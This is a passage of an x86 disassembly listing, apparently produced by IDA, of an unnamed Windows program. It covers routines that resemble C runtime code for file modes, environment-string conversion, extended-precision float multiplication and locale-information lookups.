loc_436009:				; CODE XREF: sub_435FA0+2Ej
		cmp	[ebp+arg_4], 4000h
		jnz	short loc_43604A
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, ds:dword_4EED20[eax*4]
		mov	al, [edx+ecx+4]
		or	al, 80h
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	ecx, ds:dword_4EED20[ecx*4]
		mov	[ecx+edx+4], al
		jmp	short loc_43605A
; ---------------------------------------------------------------------------


loc_43604A:				; CODE XREF: sub_435FA0+70j
		call	sub_4267E0
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	short loc_43606B
; ---------------------------------------------------------------------------


loc_43605A:				; CODE XREF: sub_435FA0+67j
					; sub_435FA0+A8j
		mov	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax
		and	eax, 0FFFFC000h
		add	eax, 8000h


loc_43606B:				; CODE XREF: sub_435FA0+B8j
		mov	esp, ebp
		pop	ebp
		retn
sub_435FA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_436070	proc near		; CODE XREF: sub_432F50+9Bp
					; sub_437100+2Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_8], 0
		jnz	short loc_43607E
		xor	eax, eax
		jmp	short loc_4360BB
; ---------------------------------------------------------------------------


loc_43607E:				; CODE XREF: sub_436070+8j
		mov	eax, ds:dword_4EEE24
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	1
		mov	edx, ds:dword_4EF044
		push	edx
		call	sub_4369D0
		add	esp, 1Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4360B5
		mov	eax, 7FFFFFFFh
		jmp	short loc_4360BB
; ---------------------------------------------------------------------------


loc_4360B5:				; CODE XREF: sub_436070+3Cj
		mov	eax, [ebp+var_4]
		sub	eax, 2


loc_4360BB:				; CODE XREF: sub_436070+Cj
					; sub_436070+43j
		mov	esp, ebp
		pop	ebp
		retn
sub_436070	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4360C0	proc near		; CODE XREF: sub_432F50+2Dp
					; sub_436E20+81p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, ds:dword_4EE990
		mov	[ebp+var_4], eax


loc_4360CE:				; CODE XREF: sub_4360C0+A3j
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx], 0
		jz	loc_436168
		push	0
		push	0
		push	0
		push	0
		push	0FFFFFFFFh
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		push	eax
		push	0
		push	1
		call	ds:dword_4F1384	; WideCharToMultiByte
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_436102
		or	eax, 0FFFFFFFFh
		jmp	short loc_43616A
; ---------------------------------------------------------------------------


loc_436102:				; CODE XREF: sub_4360C0+3Bj
		push	3Dh
		push	offset dword_43AEE8
		push	2
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_41AE60
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_436125
		or	eax, 0FFFFFFFFh
		jmp	short loc_43616A
; ---------------------------------------------------------------------------


loc_436125:				; CODE XREF: sub_4360C0+5Ej
		push	0
		push	0
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		push	0FFFFFFFFh
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		push	edx
		push	0
		push	1
		call	ds:dword_4F1384	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_43614C
		or	eax, 0FFFFFFFFh
		jmp	short loc_43616A
; ---------------------------------------------------------------------------


loc_43614C:				; CODE XREF: sub_4360C0+85j
		push	0
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_436E20
		add	esp, 8
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		jmp	loc_4360CE
; ---------------------------------------------------------------------------


loc_436168:				; CODE XREF: sub_4360C0+14j
		xor	eax, eax


loc_43616A:				; CODE XREF: sub_4360C0+40j
					; sub_4360C0+63j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4360C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_436170	proc near		; CODE XREF: sub_433EA0+2B5p
					; sub_4365B0+B5p

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	word ptr [ebp+var_2C], 0
		mov	[ebp+var_4], 0
		mov	[ebp+var_14], 0
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 0
		mov	eax, [ebp+arg_0]
		mov	cx, [eax+0Ah]
		mov	word ptr [ebp+var_18], cx
		mov	edx, [ebp+arg_4]
		mov	ax, [edx+0Ah]
		mov	word ptr [ebp+var_20], ax
		mov	ecx, [ebp+var_18]
		and	ecx, 0FFFFh
		mov	edx, [ebp+var_20]
		and	edx, 0FFFFh
		xor	ecx, edx
		and	ecx, 8000h
		mov	word ptr [ebp+var_2C], cx
		mov	ax, word ptr [ebp+var_18]
		and	ax, 7FFFh
		mov	word ptr [ebp+var_18], ax
		mov	cx, word ptr [ebp+var_20]
		and	cx, 7FFFh
		mov	word ptr [ebp+var_20], cx
		mov	edx, [ebp+var_18]
		and	edx, 0FFFFh
		mov	eax, [ebp+var_20]
		and	eax, 0FFFFh
		add	edx, eax
		mov	word ptr [ebp+var_30], dx
		mov	ecx, [ebp+var_18]
		and	ecx, 0FFFFh
		cmp	ecx, 7FFFh
		jge	short loc_43622D
		mov	edx, [ebp+var_20]
		and	edx, 0FFFFh
		cmp	edx, 7FFFh
		jge	short loc_43622D
		mov	eax, [ebp+var_30]
		and	eax, 0FFFFh
		cmp	eax, 0BFFDh
		jle	short loc_436264


loc_43622D:				; CODE XREF: sub_436170+9Bj
					; sub_436170+ACj
		mov	ecx, [ebp+var_2C]
		and	ecx, 0FFFFh
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		add	ecx, 7FFF8000h
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx], 0
		jmp	loc_4365A9
; ---------------------------------------------------------------------------


loc_436264:				; CODE XREF: sub_436170+BBj
		mov	edx, [ebp+var_30]
		and	edx, 0FFFFh
		cmp	edx, 3FBFh
		jg	short loc_436297
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+8], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx], 0
		jmp	loc_4365A9
; ---------------------------------------------------------------------------


loc_436297:				; CODE XREF: sub_436170+103j
		mov	eax, [ebp+var_18]
		and	eax, 0FFFFh
		test	eax, eax
		jnz	short loc_4362DD
		mov	cx, word ptr [ebp+var_30]
		add	cx, 1
		mov	word ptr [ebp+var_30], cx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		and	eax, 7FFFFFFFh
		test	eax, eax
		jnz	short loc_4362DD
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_4362DD
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx], 0
		jnz	short loc_4362DD
		mov	eax, [ebp+arg_0]
		mov	word ptr [eax+0Ah], 0
		jmp	loc_4365A9
; ---------------------------------------------------------------------------


loc_4362DD:				; CODE XREF: sub_436170+131j
					; sub_436170+14Cj ...
		mov	ecx, [ebp+var_20]
		and	ecx, 0FFFFh
		test	ecx, ecx
		jnz	short loc_436339
		mov	dx, word ptr [ebp+var_30]
		add	dx, 1
		mov	word ptr [ebp+var_30], dx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		and	ecx, 7FFFFFFFh
		test	ecx, ecx
		jnz	short loc_436339
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+4], 0
		jnz	short loc_436339
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax], 0
		jnz	short loc_436339
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+8], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+4], 0
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 0
		jmp	loc_4365A9
; ---------------------------------------------------------------------------


loc_436339:				; CODE XREF: sub_436170+178j
					; sub_436170+194j ...
		mov	[ebp+var_28], 0
		mov	[ebp+var_1C], 0
		jmp	short loc_436352
; ---------------------------------------------------------------------------


loc_436349:				; CODE XREF: sub_436170+29Cj
		mov	ecx, [ebp+var_1C]
		add	ecx, 1
		mov	[ebp+var_1C], ecx


loc_436352:				; CODE XREF: sub_436170+1D7j
		cmp	[ebp+var_1C], 5
		jge	loc_436411
		mov	edx, [ebp+var_1C]
		shl	edx, 1
		mov	[ebp+var_24], edx
		mov	[ebp+var_8], 8
		mov	eax, 5
		sub	eax, [ebp+var_1C]
		mov	[ebp+var_34], eax
		jmp	short loc_436381
; ---------------------------------------------------------------------------


loc_436378:				; CODE XREF: sub_436170+28Ej
		mov	ecx, [ebp+var_34]
		sub	ecx, 1
		mov	[ebp+var_34], ecx


loc_436381:				; CODE XREF: sub_436170+206j
		cmp	[ebp+var_34], 0
		jle	short loc_436403
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_24]
		mov	[ebp+var_38], edx
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_3C], eax
		mov	ecx, [ebp+var_28]
		lea	edx, [ebp+ecx+var_14]
		mov	[ebp+var_40], edx
		mov	eax, [ebp+var_38]
		xor	ecx, ecx
		mov	cx, [eax]
		mov	edx, [ebp+var_3C]
		xor	eax, eax
		mov	ax, [edx]
		imul	ecx, eax
		mov	[ebp+var_44], ecx
		mov	ecx, [ebp+var_40]
		push	ecx
		mov	edx, [ebp+var_44]
		push	edx
		mov	eax, [ebp+var_40]
		mov	ecx, [eax]
		push	ecx
		call	sub_433020
		add	esp, 0Ch
		mov	[ebp+var_48], eax
		cmp	[ebp+var_48], 0
		jz	short loc_4363EC
		mov	edx, [ebp+var_28]
		mov	ax, word ptr [ebp+edx+var_10]
		add	ax, 1
		mov	ecx, [ebp+var_28]
		mov	word ptr [ebp+ecx+var_10], ax


loc_4363EC:				; CODE XREF: sub_436170+266j
		mov	edx, [ebp+var_24]
		add	edx, 2
		mov	[ebp+var_24], edx
		mov	eax, [ebp+var_8]
		sub	eax, 2
		mov	[ebp+var_8], eax
		jmp	loc_436378
; ---------------------------------------------------------------------------


loc_436403:				; CODE XREF: sub_436170+215j
		mov	ecx, [ebp+var_28]
		add	ecx, 2
		mov	[ebp+var_28], ecx
		jmp	loc_436349
; ---------------------------------------------------------------------------


loc_436411:				; CODE XREF: sub_436170+1E6j
		mov	dx, word ptr [ebp+var_30]
		sub	dx, 3FFEh
		mov	word ptr [ebp+var_30], dx


loc_43641E:				; CODE XREF: sub_436170+2DBj
		movsx	eax, word ptr [ebp+var_30]
		test	eax, eax
		jle	short loc_43644D
		mov	ecx, [ebp+var_C]
		and	ecx, 80000000h
		test	ecx, ecx
		jnz	short loc_43644D
		lea	edx, [ebp+var_14]
		push	edx
		call	sub_433110
		add	esp, 4
		mov	ax, word ptr [ebp+var_30]
		sub	ax, 1
		mov	word ptr [ebp+var_30], ax
		jmp	short loc_43641E
; ---------------------------------------------------------------------------


loc_43644D:				; CODE XREF: sub_436170+2B4j
					; sub_436170+2C1j
		movsx	ecx, word ptr [ebp+var_30]
		test	ecx, ecx
		jg	short loc_4364AD
		mov	dx, word ptr [ebp+var_30]
		sub	dx, 1
		mov	word ptr [ebp+var_30], dx


loc_436461:				; CODE XREF: sub_436170+32Aj
		movsx	eax, word ptr [ebp+var_30]
		test	eax, eax
		jge	short loc_43649C
		mov	ecx, [ebp+var_14]
		and	ecx, 0FFFFh
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_436482
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_436482:				; CODE XREF: sub_436170+307j
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_433170
		add	esp, 4
		mov	cx, word ptr [ebp+var_30]
		add	cx, 1
		mov	word ptr [ebp+var_30], cx
		jmp	short loc_436461
; ---------------------------------------------------------------------------


loc_43649C:				; CODE XREF: sub_436170+2F7j
		cmp	[ebp+var_4], 0
		jz	short loc_4364AD
		mov	dx, word ptr [ebp+var_14]
		or	dl, 1
		mov	word ptr [ebp+var_14], dx


loc_4364AD:				; CODE XREF: sub_436170+2E3j
					; sub_436170+330j
		mov	eax, [ebp+var_14]
		and	eax, 0FFFFh
		cmp	eax, 8000h
		jg	short loc_4364CD
		mov	ecx, [ebp+var_14]
		and	ecx, 1FFFFh
		cmp	ecx, 18000h
		jnz	short loc_43652E


loc_4364CD:				; CODE XREF: sub_436170+34Aj
		cmp	[ebp+var_14+2],	0FFFFFFFFh
		jnz	short loc_436525
		mov	[ebp+var_14+2],	0
		cmp	[ebp+var_10+2],	0FFFFFFFFh
		jnz	short loc_43651A
		mov	[ebp+var_10+2],	0
		mov	edx, [ebp+var_C+2]
		and	edx, 0FFFFh
		cmp	edx, 0FFFFh
		jnz	short loc_43650C
		mov	word ptr [ebp+var_C+2],	8000h
		mov	ax, word ptr [ebp+var_30]
		add	ax, 1
		mov	word ptr [ebp+var_30], ax
		jmp	short loc_436518
; ---------------------------------------------------------------------------


loc_43650C:				; CODE XREF: sub_436170+386j
		mov	cx, word ptr [ebp+var_C+2]
		add	cx, 1
		mov	word ptr [ebp+var_C+2],	cx


loc_436518:				; CODE XREF: sub_436170+39Aj
		jmp	short loc_436523
; ---------------------------------------------------------------------------


loc_43651A:				; CODE XREF: sub_436170+36Ej
		mov	edx, [ebp+var_10+2]
		add	edx, 1
		mov	[ebp+var_10+2],	edx


loc_436523:				; CODE XREF: sub_436170:loc_436518j
		jmp	short loc_43652E
; ---------------------------------------------------------------------------


loc_436525:				; CODE XREF: sub_436170+361j
		mov	eax, [ebp+var_14+2]
		add	eax, 1
		mov	[ebp+var_14+2],	eax


loc_43652E:				; CODE XREF: sub_436170+35Bj
					; sub_436170:loc_436523j
		mov	ecx, [ebp+var_30]
		and	ecx, 0FFFFh
		cmp	ecx, 7FFFh
		jl	short loc_436573
		mov	edx, [ebp+var_2C]
		and	edx, 0FFFFh
		neg	edx
		sbb	edx, edx
		and	edx, 80000000h
		add	edx, 7FFF8000h
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx], 0
		jmp	short loc_4365A9
; ---------------------------------------------------------------------------


loc_436573:				; CODE XREF: sub_436170+3CDj
		mov	eax, [ebp+arg_0]
		mov	cx, word ptr [ebp+var_14+2]
		mov	[eax], cx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_10]
		mov	[edx+2], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+6], edx
		mov	eax, [ebp+var_30]
		and	eax, 0FFFFh
		mov	ecx, [ebp+var_2C]
		and	ecx, 0FFFFh
		or	eax, ecx
		mov	edx, [ebp+arg_0]
		mov	[edx+0Ah], ax


loc_4365A9:				; CODE XREF: sub_436170+EFj
					; sub_436170+122j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_436170	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4365B0	proc near		; CODE XREF: sub_433320+914p
					; sub_433EA0+288p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, offset dword_451050
		sub	eax, 60h
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_4], 0
		jnz	short loc_4365CC
		jmp	loc_43666F
; ---------------------------------------------------------------------------


loc_4365CC:				; CODE XREF: sub_4365B0+15j
		cmp	[ebp+arg_4], 0
		jge	short loc_4365E5
		mov	ecx, [ebp+arg_4]
		neg	ecx
		mov	[ebp+arg_4], ecx
		mov	edx, offset dword_4511B0
		sub	edx, 60h
		mov	[ebp+var_4], edx


loc_4365E5:				; CODE XREF: sub_4365B0+20j
		cmp	[ebp+arg_8], 0
		jnz	short loc_4365F3
		mov	eax, [ebp+arg_0]
		mov	word ptr [eax],	0


loc_4365F3:				; CODE XREF: sub_4365B0+39j
					; sub_4365B0+6Aj ...
		cmp	[ebp+arg_4], 0
		jz	short loc_43666F
		mov	ecx, [ebp+var_4]
		add	ecx, 54h
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_4]
		and	edx, 7
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_4]
		sar	eax, 3
		mov	[ebp+arg_4], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_43661C
		jmp	short loc_4365F3
; ---------------------------------------------------------------------------


loc_43661C:				; CODE XREF: sub_4365B0+68j
		mov	ecx, [ebp+var_18]
		imul	ecx, 0Ch
		mov	edx, [ebp+var_4]
		add	edx, ecx
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		xor	ecx, ecx
		mov	cx, [eax]
		cmp	ecx, 8000h
		jl	short loc_43665D
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		mov	[ebp+var_14], eax
		mov	ecx, [edx+4]
		mov	[ebp+var_10], ecx
		mov	edx, [edx+8]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_14+2]
		sub	eax, 1
		mov	[ebp+var_14+2],	eax
		lea	ecx, [ebp+var_14]
		mov	[ebp+var_8], ecx


loc_43665D:				; CODE XREF: sub_4365B0+88j
		mov	edx, [ebp+var_8]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_436170
		add	esp, 8
		jmp	short loc_4365F3
; ---------------------------------------------------------------------------


loc_43666F:				; CODE XREF: sub_4365B0+17j
					; sub_4365B0+47j
		mov	esp, ebp
		pop	ebp
		retn
sub_4365B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_436680	proc near		; CODE XREF: sub_435830+19Cp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43AEF8
		push	offset sub_42CA04
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	ds:dword_4EECF8, 0
		jnz	short loc_4366F2
		push	0
		push	0
		push	1
		push	0
		call	ds:dword_4F12AC	; GetLocaleInfoW
		test	eax, eax
		jz	short loc_4366CD
		mov	ds:dword_4EECF8, 1
		jmp	short loc_4366F2
; ---------------------------------------------------------------------------


loc_4366CD:				; CODE XREF: sub_436680+3Fj
		push	0
		push	0
		push	1
		push	0
		call	ds:dword_4F1354	; GetLocaleInfoA
		test	eax, eax
		jz	short loc_4366EB
		mov	ds:dword_4EECF8, 2
		jmp	short loc_4366F2
; ---------------------------------------------------------------------------


loc_4366EB:				; CODE XREF: sub_436680+5Dj
		xor	eax, eax
		jmp	loc_436801
; ---------------------------------------------------------------------------


loc_4366F2:				; CODE XREF: sub_436680+2Dj
					; sub_436680+4Bj ...
		cmp	ds:dword_4EECF8, 1
		jnz	short loc_436716
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	ds:dword_4F12AC	; GetLocaleInfoW
		jmp	loc_436801
; ---------------------------------------------------------------------------


loc_436716:				; CODE XREF: sub_436680+79j
		cmp	ds:dword_4EECF8, 2
		jnz	loc_4367FF
		cmp	[ebp+arg_10], 0
		jnz	short loc_436732
		mov	ecx, ds:dword_4EEA80
		mov	[ebp+arg_10], ecx


loc_436732:				; CODE XREF: sub_436680+A7j
		push	0
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	ds:dword_4F1354	; GetLocaleInfoA
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_436754
		xor	eax, eax
		jmp	loc_436801
; ---------------------------------------------------------------------------


loc_436754:				; CODE XREF: sub_436680+CBj
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_1C]
		add	eax, 3
		and	al, 0FCh
		call	sub_41DEB0
		mov	[ebp+var_28], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_28]
		mov	[ebp+var_20], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_436794
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_20], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_436794:				; CODE XREF: sub_436680+FBj
		cmp	[ebp+var_20], 0
		jnz	short loc_43679E
		xor	eax, eax
		jmp	short loc_436801
; ---------------------------------------------------------------------------


loc_43679E:				; CODE XREF: sub_436680+118j
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+var_20]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	ds:dword_4F1354	; GetLocaleInfoA
		test	eax, eax
		jnz	short loc_4367BC
		xor	eax, eax
		jmp	short loc_436801
; ---------------------------------------------------------------------------


loc_4367BC:				; CODE XREF: sub_436680+136j
		cmp	[ebp+arg_C], 0
		jnz	short loc_4367DD
		push	0
		push	0
		push	0FFFFFFFFh
		mov	eax, [ebp+var_20]
		push	eax
		push	1
		mov	ecx, [ebp+arg_10]
		push	ecx
		call	ds:dword_4F1370	; MultiByteToWideChar
		mov	[ebp+var_24], eax
		jmp	short loc_4367FA
; ---------------------------------------------------------------------------


loc_4367DD:				; CODE XREF: sub_436680+140j
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	0FFFFFFFFh
		mov	ecx, [ebp+var_20]
		push	ecx
		push	1
		mov	edx, [ebp+arg_10]
		push	edx
		call	ds:dword_4F1370	; MultiByteToWideChar
		mov	[ebp+var_24], eax


loc_4367FA:				; CODE XREF: sub_436680+15Bj
		mov	eax, [ebp+var_24]
		jmp	short loc_436801
; ---------------------------------------------------------------------------


loc_4367FF:				; CODE XREF: sub_436680+9Dj
		xor	eax, eax


loc_436801:				; CODE XREF: sub_436680+6Dj
					; sub_436680+91j ...
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_436680	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_436820	proc near		; CODE XREF: sub_435830+4Bp
					; sub_435830+7Ep ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43AF08
		push	offset sub_42CA04
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	ds:dword_4EECFC, 0
		jnz	short loc_436892
		push	0
		push	0
		push	1
		push	0
		call	ds:dword_4F12AC	; GetLocaleInfoW
		test	eax, eax
		jz	short loc_43686D
		mov	ds:dword_4EECFC, 1
		jmp	short loc_436892
; ---------------------------------------------------------------------------


loc_43686D:				; CODE XREF: sub_436820+3Fj
		push	0
		push	0
		push	1
		push	0
		call	ds:dword_4F1354	; GetLocaleInfoA
		test	eax, eax
		jz	short loc_43688B
		mov	ds:dword_4EECFC, 2
		jmp	short loc_436892
; ---------------------------------------------------------------------------


loc_43688B:				; CODE XREF: sub_436820+5Dj
		xor	eax, eax
		jmp	loc_4369B1
; ---------------------------------------------------------------------------


loc_436892:				; CODE XREF: sub_436820+2Dj
					; sub_436820+4Bj ...
		cmp	ds:dword_4EECFC, 2
		jnz	short loc_4368B6
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	ds:dword_4F1354	; GetLocaleInfoA
		jmp	loc_4369B1
; ---------------------------------------------------------------------------


loc_4368B6:				; CODE XREF: sub_436820+79j
		cmp	ds:dword_4EECFC, 1
		jnz	loc_4369AF
		cmp	[ebp+arg_10], 0
		jnz	short loc_4368D2
		mov	ecx, ds:dword_4EEA80
		mov	[ebp+arg_10], ecx


loc_4368D2:				; CODE XREF: sub_436820+A7j
		push	0
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	ds:dword_4F12AC	; GetLocaleInfoW
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_4368F4
		xor	eax, eax
		jmp	loc_4369B1
; ---------------------------------------------------------------------------


loc_4368F4:				; CODE XREF: sub_436820+CBj
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_1C]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41DEB0
		mov	[ebp+var_28], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_28]
		mov	[ebp+var_20], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_436936
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_20], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_436936:				; CODE XREF: sub_436820+FDj
		cmp	[ebp+var_20], 0
		jnz	short loc_436940
		xor	eax, eax
		jmp	short loc_4369B1
; ---------------------------------------------------------------------------


loc_436940:				; CODE XREF: sub_436820+11Aj
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+var_20]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	ds:dword_4F12AC	; GetLocaleInfoW
		test	eax, eax
		jnz	short loc_43695E
		xor	eax, eax
		jmp	short loc_4369B1
; ---------------------------------------------------------------------------


loc_43695E:				; CODE XREF: sub_436820+138j
		cmp	[ebp+arg_C], 0
		jnz	short loc_436986
		push	0
		push	0
		push	0
		push	0
		push	0FFFFFFFFh
		mov	eax, [ebp+var_20]
		push	eax
		push	220h
		mov	ecx, [ebp+arg_10]
		push	ecx
		call	ds:dword_4F1384	; WideCharToMultiByte
		mov	[ebp+var_24], eax
		jmp	short loc_4369AA
; ---------------------------------------------------------------------------


loc_436986:				; CODE XREF: sub_436820+142j
		push	0
		push	0
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	0FFFFFFFFh
		mov	ecx, [ebp+var_20]
		push	ecx
		push	220h
		mov	edx, [ebp+arg_10]
		push	edx
		call	ds:dword_4F1384	; WideCharToMultiByte
		mov	[ebp+var_24], eax


loc_4369AA:				; CODE XREF: sub_436820+164j
		mov	eax, [ebp+var_24]
		jmp	short loc_4369B1
; ---------------------------------------------------------------------------


loc_4369AF:				; CODE XREF: sub_436820+9Dj
		xor	eax, eax


loc_4369B1:				; CODE XREF: sub_436820+6Dj
					; sub_436820+91j ...
		lea	esp, [ebp-34h]
